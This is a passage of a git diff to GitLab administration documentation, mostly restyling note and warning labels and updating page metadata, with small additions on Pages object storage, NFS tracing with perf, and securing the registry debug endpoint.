update](https://access.redhat.com/errata/RHSA-2019:2029) @@ -133,7 +133,7 @@ NFS performance with GitLab can in some cases be improved with [direct Git access](gitaly/index.md#direct-access-to-git-in-gitlab) using [Rugged](https://github.com/libgit2/rugged). -NOTE: **Note:** +NOTE: From GitLab 12.1, it will automatically be detected if Rugged can and should be used per storage. If you previously enabled Rugged using the feature flag, you will need to unset the feature flag by using: @@ -146,7 +146,7 @@ If the Rugged feature flag is explicitly set to either `true` or `false`, GitLab #### Improving NFS performance with Puma -NOTE: **Note:** +NOTE: From GitLab 12.7, Rugged is not automatically enabled if Puma thread count is greater than `1`. If you want to use Rugged with Puma, [set Puma thread count to `1`](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings). @@ -344,7 +344,7 @@ sudo ufw allow from <client_ip_address> to any port nfs ### Upgrade to Gitaly Cluster or disable caching if experiencing data loss -CAUTION: **Caution:** +WARNING: From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0, support for NFS for Git repositories is scheduled to be removed. Upgrade to [Gitaly Cluster](gitaly/praefect.md) as soon as possible. @@ -358,7 +358,7 @@ For example, we have seen [inconsistent updates after a push](https://gitlab.com | `actimeo=0` | Sets the time to zero that the NFS client caches files and directories before requesting fresh information from a server. | | `noac` | Tells the NFS client not to cache file attributes and forces application writes to become synchronous so that local changes to a file become visible on the server immediately. | -CAUTION: **Caution:** +WARNING: The `actimeo=0` and `noac` options both result in a significant reduction in performance, possibly leading to timeouts. You may be able to avoid timeouts and data loss using `actimeo=0` and `lookupcache=positive` _without_ `noac`, however we expect the performance reduction will still be significant. As noted above, we strongly recommend upgrading to @@ -370,7 +370,7 @@ GitLab strongly recommends against using AWS Elastic File System (EFS). Our support team will not be able to assist on performance issues related to file system access. -Customers and users have reported that AWS EFS does not perform well for GitLab's +Customers and users have reported that AWS EFS does not perform well for the GitLab use-case. Workloads where many small files are written in a serialized manner, like `git`, are not well-suited for EFS. EBS with an NFS server on top will perform much better. @@ -383,7 +383,7 @@ For more details on another person's experience with EFS, see this [Commit Brook ### Avoid using CephFS and GlusterFS GitLab strongly recommends against using CephFS and GlusterFS. -These distributed file systems are not well-suited for GitLab's input/output access patterns because Git uses many small files and access times and file locking times to propagate will make Git activity very slow. +These distributed file systems are not well-suited for the GitLab input/output access patterns because Git uses many small files and access times and file locking times to propagate will make Git activity very slow. ### Avoid using PostgreSQL with NFS @@ -402,14 +402,19 @@ Additionally, this configuration is specifically warned against in the For supported database architecture, see our documentation about [configuring a database for replication and failover](postgresql/replication_and_failover.md). -<!-- ## Troubleshooting +## Troubleshooting -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. +### Finding the requests that are being made to NFS -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +In case of NFS-related problems, it can be helpful to trace +the filesystem requests that are being made by using `perf`: + +```shell +sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn) +``` + +On Ubuntu 16.04, use: + +```shell +sudo perf trace --no-syscalls --event 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn) +``` diff --git a/doc/administration/npm_registry.md b/doc/administration/npm_registry.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/npm_registry.md +++ b/doc/administration/npm_registry.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md index 2b714c36d93..a89c50a8412 100644 --- a/doc/administration/object_storage.md +++ b/doc/administration/object_storage.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -114,6 +114,7 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. gitlab_rails['object_store']['objects']['packages']['bucket'] = '<packages>' gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = '<dependency-proxy>' gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = '<terraform-state>' + gitlab_rails['object_store']['objects']['pages']['bucket'] = '<pages>' ``` For GitLab 9.4 or later, if you're using AWS IAM profiles, be sure to omit the @@ -160,6 +161,8 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details. bucket: <dependency_proxy> terraform_state: bucket: <terraform> + pages: + bucket: <pages> ``` 1. Edit `/home/git/gitlab-workhorse/config.toml` and add or amend the following lines: @@ -440,6 +443,8 @@ required parameter within each type: bucket: dependency_proxy terraform_state: bucket: terraform + pages: + bucket: pages ``` This maps to this Omnibus GitLab configuration: @@ -454,6 +459,7 @@ gitlab_rails['object_store']['objects']['packages']['bucket'] = 'packages' gitlab_rails['object_store']['objects']['dependency_proxy']['enabled'] = false gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = 'dependency-proxy' gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = 'terraform-state' +gitlab_rails['object_store']['objects']['pages']['bucket'] = 'pages' ``` This is the list of valid `objects` that can be used: @@ -467,6 +473,7 @@ This is the list of valid `objects` that can be used: | `packages` | [Project packages (e.g. PyPI, Maven, NuGet, etc.)](packages/index.md) | | `dependency_proxy` | [GitLab Dependency Proxy](packages/dependency_proxy.md) | | `terraform_state` | [Terraform state files](terraform_state.md) | +| `pages` | [GitLab Pages](pages/index.md) | Within each object type, three parameters can be defined: @@ -536,7 +543,7 @@ supported by consolidated configuration form, refer to the following guides: |Object storage type|Supported by consolidated configuration?| |-------------------|----------------------------------------| -| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No| +| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No | | [Job artifacts](job_artifacts.md#using-object-storage) including archived job logs | Yes | | [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes | | [Uploads](uploads.md#using-object-storage) | Yes | @@ -548,6 +555,7 @@ supported by consolidated configuration form, refer to the following guides: | [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](terraform_state.md#using-object-storage) | Yes | +| [GitLab Pages content](pages/index.md#using-object-storage) | Yes | ### Other alternatives to filesystem storage diff --git a/doc/administration/operations.md b/doc/administration/operations.md index 9cd78105bbb..cfabb5ec27d 100644 --- a/doc/administration/operations.md +++ b/doc/administration/operations.md @@ -3,3 +3,6 @@ redirect_to: 'operations/index.md' --- This document was moved to [another location](operations/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/operations/cleaning_up_redis_sessions.md b/doc/administration/operations/cleaning_up_redis_sessions.md index 8f90231a713..6513a4ed4c8 100644 --- a/doc/administration/operations/cleaning_up_redis_sessions.md +++ b/doc/administration/operations/cleaning_up_redis_sessions.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Cleaning up stale Redis sessions @@ -21,7 +21,7 @@ prefixed with `session:gitlab:`, so they would look like `session:gitlab:976aa289e2189b17d7ef525a6702ace9`. Below we describe how to remove the keys in the old format. -NOTE: **Note:** +NOTE: The instructions below must be modified in accordance with your configuration settings if you have used the advanced Redis settings outlined in diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md index 5de79882083..1f611a50a53 100644 --- a/doc/administration/operations/extra_sidekiq_processes.md +++ b/doc/administration/operations/extra_sidekiq_processes.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Run multiple Sidekiq processes **(CORE ONLY)** @@ -11,7 +11,7 @@ These processes can be used to consume a dedicated set of queues. This can be used to ensure certain queues always have dedicated workers, no matter the number of jobs that need to be processed. -NOTE: **Note:** +NOTE: The information in this page applies only to Omnibus GitLab. ## Available Sidekiq queues @@ -209,7 +209,7 @@ sidekiq['queue_groups'] = [ ### Disable Sidekiq cluster -CAUTION: **Warning:** +WARNING: Sidekiq cluster is [scheduled](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/240) to be the only way to start Sidekiq in GitLab 14.0. @@ -341,7 +341,7 @@ being equal to `max_concurrency`. Running a single Sidekiq process is the default in GitLab 12.10 and earlier. -CAUTION: **Warning:** +WARNING: Running Sidekiq directly is scheduled to be removed in GitLab [14.0](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/240). @@ -376,7 +376,7 @@ This tells the additional processes how often to check for enqueued jobs. ## Troubleshoot using the CLI -CAUTION: **Warning:** +WARNING: It's recommended to use `/etc/gitlab/gitlab.rb` to configure the Sidekiq processes. If you experience a problem, you should contact GitLab support. Use the command line at your own risk. diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md index c8830a45fb2..b93af074795 100644 --- a/doc/administration/operations/fast_ssh_key_lookup.md +++ b/doc/administration/operations/fast_ssh_key_lookup.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Fast lookup of authorized SSH keys in the database @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1631) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.3. > - [Available in](https://gitlab.com/gitlab-org/gitlab/-/issues/3953) GitLab Community Edition 10.4. -NOTE: **Note:** +NOTE: This document describes a drop-in replacement for the `authorized_keys` file. For normal (non-deploy key) users, consider using [SSH certificates](ssh_certificates.md). They are even faster, but are not a @@ -28,7 +28,8 @@ GitLab Shell solves this by providing a way to authorize SSH users via a fast, indexed lookup in the GitLab database. This page describes how to enable the fast lookup of authorized SSH keys. -> **Warning:** OpenSSH version 6.9+ is required because +WARNING: +OpenSSH version 6.9+ is required because `AuthorizedKeysCommand` must be able to accept a fingerprint. These instructions will break installations using older versions of OpenSSH, such as those included with CentOS 6 as of September 2017. If you want to use this @@ -80,18 +81,18 @@ Confirm that SSH is working by commenting out your user's key in the `authorized A successful pull would mean that GitLab was able to find the key in the database, since it is not present in the file anymore. -NOTE: **Note:** +NOTE: For Omnibus Docker, `AuthorizedKeysCommand` is setup by default in GitLab 11.11 and later. -NOTE: **Note:** +NOTE: For Installations from source, the command would be located at `/home/git/gitlab-shell/bin/gitlab-shell-authorized-keys-check` if [the install from source](../../install/installation.md#install-gitlab-shell) instructions were followed. You might want to consider creating a wrapper script somewhere else since this command needs to be owned by `root` and not be writable by group or others. You could also consider changing the ownership of this command as required, but that might require temporary ownership changes during `gitlab-shell` upgrades. -CAUTION: **Caution:** +WARNING: Do not disable writes until SSH is confirmed to be working perfectly, because the file will quickly become out-of-date. @@ -139,7 +140,7 @@ the database. The following instructions can be used to build OpenSSH 7.5: ```shell sudo su - cd /tmp - curl --remote-name https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz + curl --remote-name "https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz" tar xzvf openssh-7.5p1.tar.gz yum install rpm-build gcc make wget openssl-devel krb5-devel pam-devel libX11-devel xmkmf libXt-devel ``` diff --git a/doc/administration/operations/filesystem_benchmarking.md b/doc/administration/operations/filesystem_benchmarking.md index c55f253b772..9072214eb02 100644 --- a/doc/administration/operations/filesystem_benchmarking.md +++ b/doc/administration/operations/filesystem_benchmarking.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Filesystem Performance Benchmarking @@ -71,7 +71,7 @@ operations per second. ### Simple benchmarking -NOTE: **Note:** +NOTE: This test is naive but may be useful if `fio` is not available on the system. It's possible to receive good results on this test but still have poor performance due to read speed and various other diff --git a/doc/administration/operations/index.md b/doc/administration/operations/index.md index 864bbb3233e..b15417ea8d9 100644 --- a/doc/administration/operations/index.md +++ b/doc/administration/operations/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Performing Operations in GitLab diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md index b311bee1a5b..7cc15f9cea4 100644 --- a/doc/administration/operations/moving_repositories.md +++ b/doc/administration/operations/moving_repositories.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -48,13 +48,13 @@ We look at three scenarios: - The target directory contains an outdated copy of the repositories. - How to deal with thousands of repositories. -DANGER: **Warning:** +WARNING: Each of the approaches we list can or does overwrite data in the target directory `/mnt/gitlab/repositories`. Do not mix up the source and the target. ### Recommended approach in all cases -GitLab's [backup and restore capability](../../raketasks/backup_restore.md) should be used. Git +The GitLab [backup and restore capability](../../raketasks/backup_restore.md) should be used. Git repositories are accessed, managed, and stored on GitLab servers by Gitaly as a database. Data loss can result from directly accessing and copying Gitaly's files using tools like `rsync`. @@ -94,7 +94,7 @@ If you want to compress the data before it goes over the network ### The target directory contains an outdated copy of the repositories: use `rsync` -DANGER: **Warning:** +WARNING: Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). @@ -115,7 +115,7 @@ If you want to see progress, replace `-a` with `-av`. #### Single `rsync` to another server -DANGER: **Warning:** +WARNING: Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). @@ -129,7 +129,7 @@ sudo -u git sh -c 'rsync -a --delete /var/opt/gitlab/git-data/repositories/. \ ### Thousands of Git repositories: use one `rsync` per repository -DANGER: **Warning:** +WARNING: Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). @@ -150,7 +150,7 @@ longer exist at the source.** #### Parallel `rsync` for all repositories known to GitLab -DANGER: **Warning:** +WARNING: Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). @@ -211,7 +211,7 @@ cat /home/git/transfer-logs/* | sort | uniq -u |\ #### Parallel `rsync` only for repositories with recent activity -DANGER: **Warning:** +WARNING: Using `rsync` to migrate Git data can cause data loss and repository corruption. [These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422). diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md index 5104b65c86d..44ac014650e 100644 --- a/doc/administration/operations/puma.md +++ b/doc/administration/operations/puma.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Switching to Puma diff --git a/doc/administration/operations/rails_console.md b/doc/administration/operations/rails_console.md index dac36135a8e..b40560bf6e5 100644 --- a/doc/administration/operations/rails_console.md +++ b/doc/administration/operations/rails_console.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # The Rails Console @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w The [Rails console](https://guides.rubyonrails.org/command_line.html#rails-console). provides a way to interact with your GitLab instance from the command line. -CAUTION: **Caution:** +WARNING: The Rails console interacts directly with GitLab. In many cases, there are no handrails to prevent you from permanently modifying, corrupting or destroying production data. If you would like to explore the Rails console diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md index 0de8b681dd8..c7f00d05213 100644 --- a/doc/administration/operations/sidekiq_memory_killer.md +++ b/doc/administration/operations/sidekiq_memory_killer.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Memory -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Sidekiq MemoryKiller @@ -35,7 +35,9 @@ The MemoryKiller is controlled using environment variables. - `SIDEKIQ_DAEMON_MEMORY_KILLER`: defaults to 1. When set to 0, the MemoryKiller works in _legacy_ mode. Otherwise, the MemoryKiller works in _daemon_ mode. - In _legacy_ mode, the MemoryKiller checks the Sidekiq process RSS after each job. + In _legacy_ mode, the MemoryKiller checks the Sidekiq process RSS + ([Resident Set Size](https://github.com/mperham/sidekiq/wiki/Memory#rss)) + after each job. In _daemon_ mode, the MemoryKiller checks the Sidekiq process RSS every 3 seconds (defined by `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL`). diff --git a/doc/administration/operations/speed_up_ssh.md b/doc/administration/operations/speed_up_ssh.md index 6dc83c42f53..2f3cf40a222 100644 --- a/doc/administration/operations/speed_up_ssh.md +++ b/doc/administration/operations/speed_up_ssh.md @@ -3,3 +3,6 @@ redirect_to: 'fast_ssh_key_lookup.md' --- This document was moved to [another location](fast_ssh_key_lookup.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/operations/ssh_certificates.md b/doc/administration/operations/ssh_certificates.md index 7cbd8c74f90..c0525cf6258 100644 --- a/doc/administration/operations/ssh_certificates.md +++ b/doc/administration/operations/ssh_certificates.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # User lookup via OpenSSH's AuthorizedPrincipalsCommand @@ -9,17 +9,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Available in](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19911) GitLab > Community Edition 11.2. -GitLab's default SSH authentication requires users to upload their SSH +The default SSH authentication for GitLab requires users to upload their SSH public keys before they can use the SSH transport. -In centralized (e.g. corporate) environments this can be a hassle -operationally, particularly if the SSH keys are temporary keys issued -to the user, e.g. ones that expire 24 hours after issuing. +In centralized (for example, corporate) environments this can be a hassle +operationally, particularly if the SSH keys are temporary keys issued to the +user, including ones that expire 24 hours after issuing. In such setups some external automated process is needed to constantly upload the new keys to GitLab. -> **Warning:** OpenSSH version 6.9+ is required because that version +WARNING: +OpenSSH version 6.9+ is required because that version introduced the `AuthorizedPrincipalsCommand` configuration option. If using CentOS 6, you can [follow these instructions](fast_ssh_key_lookup.html#compiling-a-custom-version-of-openssh-for-centos-6) diff --git a/doc/administration/operations/unicorn.md b/doc/administration/operations/unicorn.md index 80dafde14aa..03995ee05ba 100644 --- a/doc/administration/operations/unicorn.md +++ b/doc/administration/operations/unicorn.md @@ -1,12 +1,12 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Understanding Unicorn and unicorn-worker-killer -NOTE: **Note:** +NOTE: Starting with GitLab 13.0, Puma is the default web server used in GitLab all-in-one package based installations as well as GitLab Helm chart deployments. @@ -51,7 +51,7 @@ master process has PID 56227 below. The main tunable options for Unicorn are the number of worker processes and the request timeout after which the Unicorn master terminates a worker process. See the [Omnibus GitLab Unicorn settings -documentation](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/settings/unicorn.html) +documentation](https://docs.gitlab.com/omnibus/settings/unicorn.html) if you want to adjust these settings. ## unicorn-worker-killer diff --git a/doc/administration/packages.md b/doc/administration/packages.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/packages.md +++ b/doc/administration/packages.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index 541bd99084c..633129e98bd 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Container Registry administration @@ -93,7 +93,7 @@ auth: rootcertbundle: /root/certs/certbundle ``` -CAUTION: **Caution:** +WARNING: If `auth` is not set up, users can pull Docker images without authentication. ## Container Registry domain configuration @@ -101,7 +101,7 @@ If `auth` is not set up, users can pull Docker images without authentication. There are two ways you can configure the Registry's external domain. Either: - [Use the existing GitLab domain](#configure-container-registry-under-an-existing-gitlab-domain). - The Registry listens on a port and reuses GitLab's TLS certificate. + The Registry listens on a port and reuses the TLS certificate from GitLab. - [Use a completely separate domain](#configure-container-registry-under-its-own-domain) with a new TLS certificate for that domain. @@ -374,7 +374,7 @@ driver for the Container Registry. [Read more about using object storage with GitLab](../object_storage.md). -CAUTION: **Warning:** +WARNING: GitLab does not back up Docker images that are not stored on the file system. Enable backups with your object storage provider if desired. @@ -468,7 +468,7 @@ you can pull from the Container Registry, but you cannot push. sudo aws --endpoint-url https://your-object-storage-backend.com s3 sync registry s3://mybucket ``` - TIP: **Tip:** + NOTE: If you have a lot of data, you may be able to improve performance by [running parallel sync operations](https://aws.amazon.com/premiumsupport/knowledge-center/s3-improve-transfer-sync-command/). @@ -485,7 +485,7 @@ you can pull from the Container Registry, but you cannot push. [`--dryrun`](https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html) flag and run the command. - DANGER: **Warning:** + WARNING: The [`--delete`](https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html) flag deletes files that exist in the destination but not in the source. If you swap the source and destination, all data in the Registry is deleted. @@ -612,8 +612,8 @@ You can use GitLab as an auth endpoint with an external container registry. gitlab_rails['registry_issuer'] = "omnibus-gitlab-issuer" ``` - `gitlab_rails['registry_enabled'] = true` is needed to enable GitLab's - Container Registry features and authentication endpoint. GitLab's bundled + `gitlab_rails['registry_enabled'] = true` is needed to enable GitLab + Container Registry features and authentication endpoint. The GitLab bundled Container Registry service does not start, even with this enabled. 1. A certificate-key pair is required for GitLab and the external container @@ -820,7 +820,7 @@ If you did not change the default location of the configuration file, run: sudo gitlab-ctl registry-garbage-collect ``` -This command will take some time to complete, depending on the amount of +This command takes some time to complete, depending on the amount of layers you have stored. If you changed the location of the Container Registry `config.yml`: @@ -837,7 +837,7 @@ understand the implications. > [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/3097) in Omnibus GitLab 11.10. -DANGER: **Warning:** +WARNING: This is a destructive operation. The GitLab Container Registry follows the same default workflow as Docker Distribution: @@ -867,7 +867,7 @@ You can perform garbage collection without stopping the Container Registry by pu it in read-only mode and by not using the built-in command. On large instances this could require Container Registry to be in read-only mode for a while. During this time, -you will be able to pull from the Container Registry, but you will not be able to +you are able to pull from the Container Registry, but you are not able to push. By default, the [registry storage path](#configure-storage-for-the-container-registry) @@ -896,7 +896,7 @@ To enable the read-only mode: sudo gitlab-ctl reconfigure ``` - This will set the Container Registry into the read only mode. + This command sets the Container Registry into the read only mode. 1. Next, trigger one of the garbage collect commands: @@ -908,7 +908,7 @@ To enable the read-only mode: sudo /opt/gitlab/embedded/bin/registry garbage-collect -m /var/opt/gitlab/registry/config.yml ``` - This will start the garbage collection, which might take some time to complete. + This command starts the garbage collection, which might take some time to complete. 1. Once done, in `/etc/gitlab/gitlab.rb` change it back to read-write mode: @@ -935,7 +935,7 @@ To enable the read-only mode: Ideally, you want to run the garbage collection of the registry regularly on a weekly basis at a time when the registry is not being in-use. -The simplest way is to add a new crontab job that it will run periodically +The simplest way is to add a new crontab job that it runs periodically once a week. Create a file under `/etc/cron.d/registry-garbage-collect`: @@ -1137,6 +1137,12 @@ and a simple solution would be to enable relative URLs in the Registry. ### Enable the Registry debug server +You can use the Container Registry debug server to diagnose problems. The debug endpoint can monitor metrics and health, as well as do profiling. + +WARNING: +Sensitive information may be available from the debug endpoint. +Access to the debug endpoint must be locked down in a production environment. + The optional debug server can be enabled by setting the registry debug address in your `gitlab.rb` configuration. @@ -1149,13 +1155,13 @@ After adding the setting, [reconfigure GitLab](../restart_gitlab.md#omnibus-gitl Use curl to request debug output from the debug server: ```shell -curl localhost:5001/debug/health -curl localhost:5001/debug/vars +curl "localhost:5001/debug/health" +curl "localhost:5001/debug/vars" ``` ### Advanced Troubleshooting -We will use a concrete example in the past to illustrate how to +We use a concrete example to illustrate how to diagnose a problem with the S3 setup. #### Unexpected 403 error during push @@ -1227,14 +1233,14 @@ To verify that the certificates are properly installed, run: mitmproxy --port 9000 ``` -This will run mitmproxy on port `9000`. In another window, run: +This command runs mitmproxy on port `9000`. In another window, run: ```shell -curl --proxy http://localhost:9000 https://httpbin.org/status/200 +curl --proxy "http://localhost:9000" "https://httpbin.org/status/200" ``` -If everything is set up correctly, you will see information on the mitmproxy window and -no errors from the curl commands. +If everything is set up correctly, information is displayed on the mitmproxy window and +no errors are generated by the curl commands. #### Running the Docker daemon with a proxy @@ -1248,7 +1254,7 @@ export HTTPS_PROXY="https://localhost:9000" docker daemon --debug ``` -This will launch the Docker daemon and proxy all connections through mitmproxy. +This command launches the Docker daemon and proxies all connections through mitmproxy. #### Running the Docker client @@ -1273,4 +1279,4 @@ The above image shows: What does this mean? This strongly suggests that the S3 user does not have the right [permissions to perform a HEAD request](https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadObject.html). The solution: check the [IAM permissions again](https://docs.docker.com/registry/storage-drivers/s3/). -Once the right permissions were set, the error will go away. +Once the right permissions were set, the error goes away. diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md index 56b39658dc2..9e315722c24 100644 --- a/doc/administration/packages/dependency_proxy.md +++ b/doc/administration/packages/dependency_proxy.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Dependency Proxy administration @@ -16,7 +16,7 @@ dependency proxies, see the [user guide](../../user/packages/dependency_proxy/in ## Enabling the Dependency Proxy feature -NOTE: **Note:** +NOTE: Dependency proxy requires the Puma web server to be enabled. To enable the dependency proxy feature: @@ -34,7 +34,7 @@ To enable the dependency proxy feature: **Installations from source** -1. After the installation is complete, you will have to configure the `dependency_proxy` +1. After the installation is complete, configure the `dependency_proxy` section in `config/gitlab.yml`. Set to `true` to enable it: ```yaml @@ -88,7 +88,7 @@ store the blobs of the dependency proxy. [Read more about using object storage with GitLab](../object_storage.md). -NOTE: **Note:** +NOTE: In GitLab 13.2 and later, we recommend using the [consolidated object storage 